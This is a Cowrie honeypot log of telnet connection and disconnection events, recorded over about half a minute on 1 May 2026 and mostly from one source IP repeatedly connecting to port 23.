{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38722,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d61c57f3eaa","protocol":"telnet","message":"New connection: 161.97.181.240:38722 (10.17.0.5:23) [session: 4d61c57f3eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:02.561157Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":39092,"dst_ip":"10.17.0.5","dst_port":23,"session":"87f750b058ed","protocol":"telnet","message":"New connection: 161.97.181.240:39092 (10.17.0.5:23) [session: 87f750b058ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:02.682972Z"}
{"eventid":"cowrie.session.closed","duration":31.26195001602173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:02.769647Z","src_ip":"161.97.181.240","session":"8f2b29ed4d0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":41256,"dst_ip":"10.17.0.5","dst_port":23,"session":"42f71abe951f","protocol":"telnet","message":"New connection: 161.97.181.240:41256 (10.17.0.5:23) [session: 42f71abe951f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:03.354151Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44546,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c00000179f2","protocol":"telnet","message":"New connection: 161.97.181.240:44546 (10.17.0.5:23) [session: 8c00000179f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:04.309568Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45682,"dst_ip":"10.17.0.5","dst_port":23,"session":"9812d632a11b","protocol":"telnet","message":"New connection: 161.97.181.240:45682 (10.17.0.5:23) [session: 9812d632a11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:04.628108Z"}
{"eventid":"cowrie.session.closed","duration":45.12243604660034,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:04.979759Z","src_ip":"103.115.172.252","session":"6a4e572a92db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.438886165618896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:05.043999Z","src_ip":"161.97.181.240","session":"c123a208873c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":49824,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2679d03c93d","protocol":"telnet","message":"New connection: 161.97.181.240:49824 (10.17.0.5:23) [session: a2679d03c93d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:05.786965Z"}
{"eventid":"cowrie.session.closed","duration":31.340553760528564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:06.248490Z","src_ip":"161.97.181.240","session":"c7f0464b8afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":51872,"dst_ip":"10.17.0.5","dst_port":23,"session":"a81fc305e2f7","protocol":"telnet","message":"New connection: 161.97.181.240:51872 (10.17.0.5:23) [session: a81fc305e2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:06.415376Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53010,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9491016ff64","protocol":"telnet","message":"New connection: 45.63.42.31:53010 (10.17.0.5:23) [session: b9491016ff64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:07.010803Z"}
{"eventid":"cowrie.session.closed","duration":30.68765664100647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:07.302174Z","src_ip":"161.97.181.240","session":"eaf49f534d65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.291799068450928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:08.025511Z","src_ip":"161.97.181.240","session":"c2e564b7d4ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":57536,"dst_ip":"10.17.0.5","dst_port":23,"session":"428e682e3c5a","protocol":"telnet","message":"New connection: 161.97.181.240:57536 (10.17.0.5:23) [session: 428e682e3c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:08.164037Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":58184,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5da7d3a94d","protocol":"telnet","message":"New connection: 161.97.181.240:58184 (10.17.0.5:23) [session: bf5da7d3a94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:08.370735Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":59496,"dst_ip":"10.17.0.5","dst_port":23,"session":"2036dd52759f","protocol":"telnet","message":"New connection: 161.97.181.240:59496 (10.17.0.5:23) [session: 2036dd52759f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:08.693680Z"}
{"eventid":"cowrie.session.closed","duration":30.709820985794067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:09.056691Z","src_ip":"45.14.224.154","session":"f875ea2e9260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.208695650100708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:09.074434Z","src_ip":"161.97.181.240","session":"7d44f2aad498","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29189395904541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:09.079825Z","src_ip":"161.97.181.240","session":"99bd5f2681e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848262310028076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:09.186051Z","src_ip":"161.97.181.240","session":"31c256eea763","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.721225023269653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:10.060419Z","src_ip":"161.97.181.240","session":"08ff7fbb1897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38484,"dst_ip":"10.17.0.5","dst_port":23,"session":"9060d43ab9c6","protocol":"telnet","message":"New connection: 161.97.181.240:38484 (10.17.0.5:23) [session: 9060d43ab9c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:10.621155Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38592,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f4d9d6c062","protocol":"telnet","message":"New connection: 161.97.181.240:38592 (10.17.0.5:23) [session: a6f4d9d6c062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:10.645051Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40398,"dst_ip":"10.17.0.5","dst_port":23,"session":"29b886141872","protocol":"telnet","message":"New connection: 161.97.181.240:40398 (10.17.0.5:23) [session: 29b886141872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:11.242480Z"}
{"eventid":"cowrie.session.closed","duration":35.30526375770569,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:11.484938Z","src_ip":"45.63.42.31","session":"d5be37195185","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.242623567581177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:11.999386Z","src_ip":"161.97.181.240","session":"00a6dae93565","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.265708208084106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:12.014143Z","src_ip":"161.97.181.240","session":"9629ef7fb2b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46278476715088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:12.105804Z","src_ip":"161.97.181.240","session":"e3c61b791d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538797855377197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:12.168521Z","src_ip":"161.97.181.240","session":"f087efd51845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44870,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28bb27a5f30","protocol":"telnet","message":"New connection: 161.97.181.240:44870 (10.17.0.5:23) [session: e28bb27a5f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:12.355305Z"}
{"eventid":"cowrie.session.closed","duration":31.153197050094604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:12.973843Z","src_ip":"45.14.224.154","session":"e3f960e3598c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7978994846344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:13.004080Z","src_ip":"161.97.181.240","session":"bb073c1cc372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.408881425857544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:13.319005Z","src_ip":"161.97.181.240","session":"7bbafa9ed1b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":38378,"dst_ip":"159.203.135.109","dst_port":23,"session":"592ad70d19e4","protocol":"telnet","message":"New connection: 45.14.224.154:38378 (159.203.135.109:23) [session: 592ad70d19e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:13.689978Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52684,"dst_ip":"10.17.0.5","dst_port":23,"session":"232fb4393ff7","protocol":"telnet","message":"New connection: 161.97.181.240:52684 (10.17.0.5:23) [session: 232fb4393ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:13.721107Z"}
{"eventid":"cowrie.session.closed","duration":30.921995162963867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:14.113527Z","src_ip":"161.97.181.240","session":"e13f371ed6c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8879177570343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:14.221111Z","src_ip":"45.14.224.154","session":"b98af9fc3a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.386988401412964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:15.098687Z","src_ip":"45.14.224.154","session":"6c2afc89136c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.33952879905701,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:15.741811Z","src_ip":"45.63.42.31","session":"5fc8dc383b61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01877999305725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:16.247566Z","src_ip":"161.97.181.240","session":"4ba7758817cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":38388,"dst_ip":"159.203.135.109","dst_port":23,"session":"93eb482c6c8a","protocol":"telnet","message":"New connection: 45.14.224.154:38388 (159.203.135.109:23) [session: 93eb482c6c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:16.458741Z"}
{"eventid":"cowrie.session.closed","duration":37.53999948501587,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:16.477445Z","src_ip":"45.63.42.31","session":"16333d6bab98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28514575958252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:17.560348Z","src_ip":"161.97.181.240","session":"f222bd3516f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62821626663208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:18.017510Z","src_ip":"161.97.181.240","session":"8bcc98040058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":43824,"dst_ip":"10.17.0.5","dst_port":23,"session":"dee69257ec3f","protocol":"telnet","message":"New connection: 161.97.181.240:43824 (10.17.0.5:23) [session: dee69257ec3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:20.520869Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":43894,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e06e228169c","protocol":"telnet","message":"New connection: 161.97.181.240:43894 (10.17.0.5:23) [session: 5e06e228169c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:20.550460Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":51646,"dst_ip":"10.17.0.5","dst_port":23,"session":"adbf49d6c392","protocol":"telnet","message":"New connection: 161.97.181.240:51646 (10.17.0.5:23) [session: adbf49d6c392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:23.048981Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":52852,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1f94a6fce18","protocol":"telnet","message":"New connection: 161.97.181.240:52852 (10.17.0.5:23) [session: a1f94a6fce18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:23.408212Z"}
{"eventid":"cowrie.session.closed","duration":30.680213928222656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:23.513515Z","src_ip":"161.97.181.240","session":"4385ec4ff5b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":53388,"dst_ip":"10.17.0.5","dst_port":23,"session":"c449c51766e6","protocol":"telnet","message":"New connection: 161.97.181.240:53388 (10.17.0.5:23) [session: c449c51766e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:23.556888Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":54076,"dst_ip":"10.17.0.5","dst_port":23,"session":"901a847ad2b3","protocol":"telnet","message":"New connection: 161.97.181.240:54076 (10.17.0.5:23) [session: 901a847ad2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:23.768260Z"}
{"eventid":"cowrie.session.closed","duration":36.15844750404358,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:23.805904Z","src_ip":"45.63.42.31","session":"b44761ea6dae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.486023426055908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:24.017291Z","src_ip":"161.97.181.240","session":"590ec587b00b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86494016647339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:24.351511Z","src_ip":"161.97.181.240","session":"4238eb585419","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":56144,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a231f311113","protocol":"telnet","message":"New connection: 161.97.181.240:56144 (10.17.0.5:23) [session: 3a231f311113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:24.357062Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":57592,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a69db4e6796","protocol":"telnet","message":"New connection: 161.97.181.240:57592 (10.17.0.5:23) [session: 4a69db4e6796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:24.785386Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":58778,"dst_ip":"10.17.0.5","dst_port":23,"session":"4575ba2f6cdd","protocol":"telnet","message":"New connection: 161.97.181.240:58778 (10.17.0.5:23) [session: 4575ba2f6cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:25.118858Z"}
{"eventid":"cowrie.session.closed","duration":30.633975982666016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:25.188440Z","src_ip":"161.97.181.240","session":"3ead41771cb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":60680,"dst_ip":"10.17.0.5","dst_port":23,"session":"87f78f957c0e","protocol":"telnet","message":"New connection: 161.97.181.240:60680 (10.17.0.5:23) [session: 87f78f957c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:25.649783Z"}
{"eventid":"cowrie.session.closed","duration":31.069913864135742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:26.022476Z","src_ip":"161.97.181.240","session":"0e40563a5519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47685194015503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:27.093153Z","src_ip":"161.97.181.240","session":"326be9da71a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":37596,"dst_ip":"10.17.0.5","dst_port":23,"session":"bae272852c1c","protocol":"telnet","message":"New connection: 161.97.181.240:37596 (10.17.0.5:23) [session: bae272852c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:27.267612Z"}
{"eventid":"cowrie.session.closed","duration":31.20535683631897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:27.508497Z","src_ip":"161.97.181.240","session":"9263caff559e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38928,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7decc4f2602","protocol":"telnet","message":"New connection: 161.97.181.240:38928 (10.17.0.5:23) [session: d7decc4f2602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:27.665334Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":39424,"dst_ip":"10.17.0.5","dst_port":23,"session":"423f2a06580b","protocol":"telnet","message":"New connection: 161.97.181.240:39424 (10.17.0.5:23) [session: 423f2a06580b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:27.819197Z"}
{"eventid":"cowrie.session.closed","duration":30.601900577545166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:28.012946Z","src_ip":"161.97.181.240","session":"5fed5da689a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40872,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db8f43e3eeb","protocol":"telnet","message":"New connection: 161.97.181.240:40872 (10.17.0.5:23) [session: 3db8f43e3eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:28.330725Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":41198,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a0d3f83180","protocol":"telnet","message":"New connection: 161.97.181.240:41198 (10.17.0.5:23) [session: c6a0d3f83180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:28.417343Z"}
{"eventid":"cowrie.session.closed","duration":31.210248947143555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:28.913560Z","src_ip":"161.97.181.240","session":"5198010c0e5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44498,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4c8d5f7b104","protocol":"telnet","message":"New connection: 161.97.181.240:44498 (10.17.0.5:23) [session: d4c8d5f7b104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:29.427084Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45114,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d62ffe6fed2","protocol":"telnet","message":"New connection: 161.97.181.240:45114 (10.17.0.5:23) [session: 2d62ffe6fed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:29.622632Z"}
{"eventid":"cowrie.session.closed","duration":30.5571608543396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:30.076656Z","src_ip":"161.97.181.240","session":"579c4b71ed58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694128274917603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:31.110851Z","src_ip":"161.97.181.240","session":"39bb44bf531c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18289351463318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:31.267615Z","src_ip":"161.97.181.240","session":"a1c1ef048cf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.201517581939697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:31.660688Z","src_ip":"161.97.181.240","session":"ccc4d76e5beb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.78111553192139,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:31.960638Z","src_ip":"103.115.172.252","session":"99c456e7f67d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.188159465789795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:32.014469Z","src_ip":"161.97.181.240","session":"2dfaff7b184c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.442354679107666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:33.003403Z","src_ip":"161.97.181.240","session":"4d61c57f3eaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":47292,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d401e87c0f","protocol":"telnet","message":"New connection: 45.63.42.31:47292 (10.17.0.5:23) [session: a7d401e87c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:33.050167Z"}
{"eventid":"cowrie.session.closed","duration":30.389865159988403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:33.072713Z","src_ip":"161.97.181.240","session":"87f750b058ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.911756992340088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:33.090472Z","src_ip":"161.97.181.240","session":"87c37ca40ce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21083664894104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:33.759491Z","src_ip":"161.97.181.240","session":"5e47b7b2a57c","protocol":"telnet"}
